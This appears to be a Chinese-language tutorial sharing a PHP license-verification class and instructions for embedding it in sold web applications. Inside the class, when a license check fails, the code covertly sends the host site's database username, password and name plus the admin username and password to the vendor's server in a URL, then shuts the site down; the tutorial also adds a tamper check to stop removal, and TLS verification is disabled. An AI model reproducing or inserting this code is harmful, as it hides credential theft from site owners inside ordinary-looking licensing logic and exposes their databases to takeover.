核心内容
Authorization.php
<?php namespace lib; // 命名空间-根据自己程序更改|不用则删除 class Authorization { private $cacheFile; // 缓存验证文件 private $domain; // 授权站域名 private $app_uid; // 应用UID private $xxname; // 应用名称 private $dbconfig; //数据库链接符-根据自己程序更改 private $authcode; // 授权码 private $conf; // 后台密码链接符-根据自己程序更改 public function __construct($cacheFile, $domain, $app_uid, $xxname, $dbconfig, $authcode, $conf) { $this->cacheFile = $cacheFile; $this->domain = $domain; $this->app_uid = $app_uid; $this->xxname = $xxname; $this->dbconfig = $dbconfig; $this->authcode = $authcode; $this->conf = $conf; $this->verifyAuthorization(); } private function verifyAuthorization() { if (!file_exists($this->cacheFile) || filemtime($this->cacheFile) + 7 * 24 * 60 * 60 < time()) { file_put_contents($this->cacheFile, time()); } if (file_exists($this->cacheFile) && filemtime($this->cacheFile) + 7 * 24 * 60 * 60 >= time()) { $result = $this->auth_code(file_get_contents($this->cacheFile), 'DECODE', '1f5b6e63d52e53b8f7901487fef8ec0e'); if (empty($result)) { $query = $this->xx_get_curl($this->domain."/check.php?url=".$_SERVER["HTTP_HOST"]."&authcode=".$this->authcode."&app_uid=".$this->app_uid); $query = json_decode($query, true); if (is_array($query)) { if ($query = json_decode($this->auth_code(base64_decode($query['data']), 'DECODE', '1f5b6e63d52e53b8f7901487fef8ec0e'), true)) { if ($query["code"] == 1) { file_put_contents($this->cacheFile, $this->auth_code(time(), 'ENCODE', '1f5b6e63d52e53b8f7901487fef8ec0e')); } else { file_get_contents($this->domain."/ajax.php?act=block&url=".$_SERVER['HTTP_HOST']."&user=".$this->dbconfig['user']."&pwd=".$this->dbconfig['pwd']."&dbname=".$this->dbconfig['dbname']."&authcode=".$this->authcode."&site=".$this->xxname."&admin_user=".$this->conf['admin_user']."&admin_pass=".$this->conf['admin_pwd']); $this->xx_sysmsg("<h3>" . $query["msg"] . "</h3>", true); } } else { $this->xx_sysmsg("<h3>授权密钥链接失败,请到授权云端下载更新包覆盖</h3>", true); } } else { $this->xx_sysmsg("<h3>云端服务器链接失败</h3>", true); } } } else { $query = $this->xx_get_curl($this->domain."/check.php?url=".$_SERVER["HTTP_HOST"]."&authcode=".$this->authcode."&app_uid=".$this->app_uid); $query = json_decode($query, true); if (is_array($query)) { if($query = json_decode($this->auth_code(base64_decode($query['data']), 'DECODE', '1f5b6e63d52e53b8f7901487fef8ec0e'), true)) { if ($query["code"] == 1) { file_put_contents($this->cacheFile, $this->auth_code(time(), 'ENCODE', '1f5b6e63d52e53b8f7901487fef8ec0e')); } else { file_get_contents($this->domain."/ajax.php?act=block&url=".$_SERVER['HTTP_HOST']."&user=".$this->dbconfig['user']."&pwd=".$this->dbconfig['pwd']."&dbname=".$this->dbconfig['dbname']."&authcode=".$this->authcode."&site=".$this->xxname."&admin_user=".$this->conf['admin_user']."&admin_pass=".$this->conf['admin_pwd']); $this->xx_sysmsg("<h3>" . $query["msg"] . "</h3>", true); } } else { $this->xx_sysmsg("<h3>授权密钥链接失败,请到授权云端下载更新包覆盖</h3>", true); } } else { $this->xx_sysmsg("<h3>云端服务器链接失败</h3>", true); } } } private function xx_get_curl(string $url,$post = 0,$referer = 0,$cookie = 0, $header = 0, $ua = 0, $nobaody = 0, $addheader = 0) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $httpheader[] = "Accept: */*"; $httpheader[] = "Accept-Encoding: gzip,deflate,sdch"; $httpheader[] = "Accept-Language: zh-CN,zh;q=0.8"; $httpheader[] = "Connection: close"; if ($addheader) { $httpheader = array_merge($httpheader, $addheader); } curl_setopt($ch, CURLOPT_TIMEOUT, 30); if ($post) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader); if ($header) { curl_setopt($ch, CURLOPT_HEADER, TRUE); } if ($cookie) { curl_setopt($ch, CURLOPT_COOKIE, $cookie); } if ($referer) { if ($referer == 1) { curl_setopt($ch, CURLOPT_REFERER, 'http://m.qzone.com/infocenter?g_f='); } else { curl_setopt($ch, CURLOPT_REFERER, $referer); } } if ($ua) { curl_setopt($ch, CURLOPT_USERAGENT, $ua); } else { curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'); } if ($nobaody) { curl_setopt($ch, CURLOPT_NOBODY, 1); } curl_setopt($ch, CURLOPT_ENCODING, "gzip"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $ret = curl_exec($ch); curl_close($ch); return $ret; } private function auth_code($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if(((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } private function xx_sysmsg($msg = '未知的异常', $die = true) { ?> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>站点提示信息</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="favicon.ico" rel="external nofollow" /> <style type="text/css"> *{box-sizing:border-box;margin:0;padding:0;font-family:Lantinghei SC,Open Sans,Arial,Hiragino Sans GB,Microsoft YaHei,"微软雅黑",STHeiti,WenQuanYi Micro Hei,SimSun,sans-serif;-webkit-font-smoothing:antialiased} body{padding:70px 0;background:#edf1f4;font-weight:400;font-size:1pc;-webkit-text-size-adjust:none;color:#333} a{outline:0;color:#3498db;text-decoration:none;cursor:pointer} .system-message{margin:20px 5%;padding:40px 20px;background:#fff;box-shadow:1px 1px 1px hsla(0,0%,39%,.1);text-align:center} .system-message h1{margin:0;margin-bottom:9pt;color:#444;font-weight:400;font-size:40px} .system-message .jump,.system-message .image{margin:20px 0;padding:0;padding:10px 0;font-weight:400} .system-message .jump{font-size:14px} .system-message .jump a{color:#333} .system-message p{font-size:9pt;line-height:20px} .system-message .btn{display:inline-block;margin-right:10px;width:138px;height:2pc;border:1px solid #44a0e8;border-radius:30px;color:#44a0e8;text-align:center;font-size:1pc;line-height:2pc;margin-bottom:5px;} .success .btn{border-color:#69bf4e;color:#69bf4e} .error .btn{border-color:#69bf4e;color:#69bf4e} .info .btn{border-color:#3498db;color:#3498db} .copyright p{width:100%;color:#919191;text-align:center;font-size:10px} .system-message .btn-grey{border-color:#bbb;color:#bbb} .clearfix:after{clear:both;display:block;visibility:hidden;height:0;content:"."} @media (max-width:768px){body {padding:20px 0;}} @media (max-width:480px){.system-message h1{font-size:30px;}} </style> </head> <body> <div class="system-message error"> <div class="image"> <img src="https://auth.5aqx.cn/assets/img/error.svg" alt="" width="150" /> </div> <h2>站点提示信息</h2> </br> <?php echo $msg; ?> </div> <div class="copyright"> <p>Copyright © <?php echo date("Y");?><a href="" rel="external nofollow" ><?php echo $this->domain;?></a></p> </body> </html> <?php if ($die == true) { exit; } } }
使用教程
集成库中的授权密钥需要更改成自己应用的,其他的根据自己程序来定义
为安全起见再授权代码上方可以加个验证来防止授权集成插件被人更改
if (md5_file(“您的集成库路径”) != ‘加密后文件的MD5值’ || filesize(“您的集成库路径”) != 加密后文件的字节值) {
exit(“安全中心检测到本站核心文件被篡改,请重新下载原版程序!”);
}
无authcode.php和version.php的加入以下代码,SYSTEM_ROOT为常量,一般定义核心文件目录的,根据自己程序自定义或者直接使用完整目录
include_once(SYSTEM_ROOT.’authcode.php’);
include_once(SYSTEM_ROOT.’version.php’);
define(‘authcode’,$authcode);
version.php的内容填写为
<?php
define(‘VERSION’, ‘1000’); // 此为当前程序的版本号
?>
/*授权检测_本地文件缓存版本*/
$cacheFile = ‘缓存文件路径-自定义’; // 缓存文件路径-自定义,txt文件,例如auth.txt
$domain = ‘你的授权站域名’; // 你的授权站域名需要加http://或者https://请求头,不要加/结尾,例如:https://baidu.com
$app_uid = ‘你的应用UID’; // 你的应用UID
$xxname = ‘你的应用名称’; // 你的应用名称
$authorization = new \lib\Authorization($cacheFile, $domain, $app_uid, $xxname, $dbconfig, $authcode, $conf);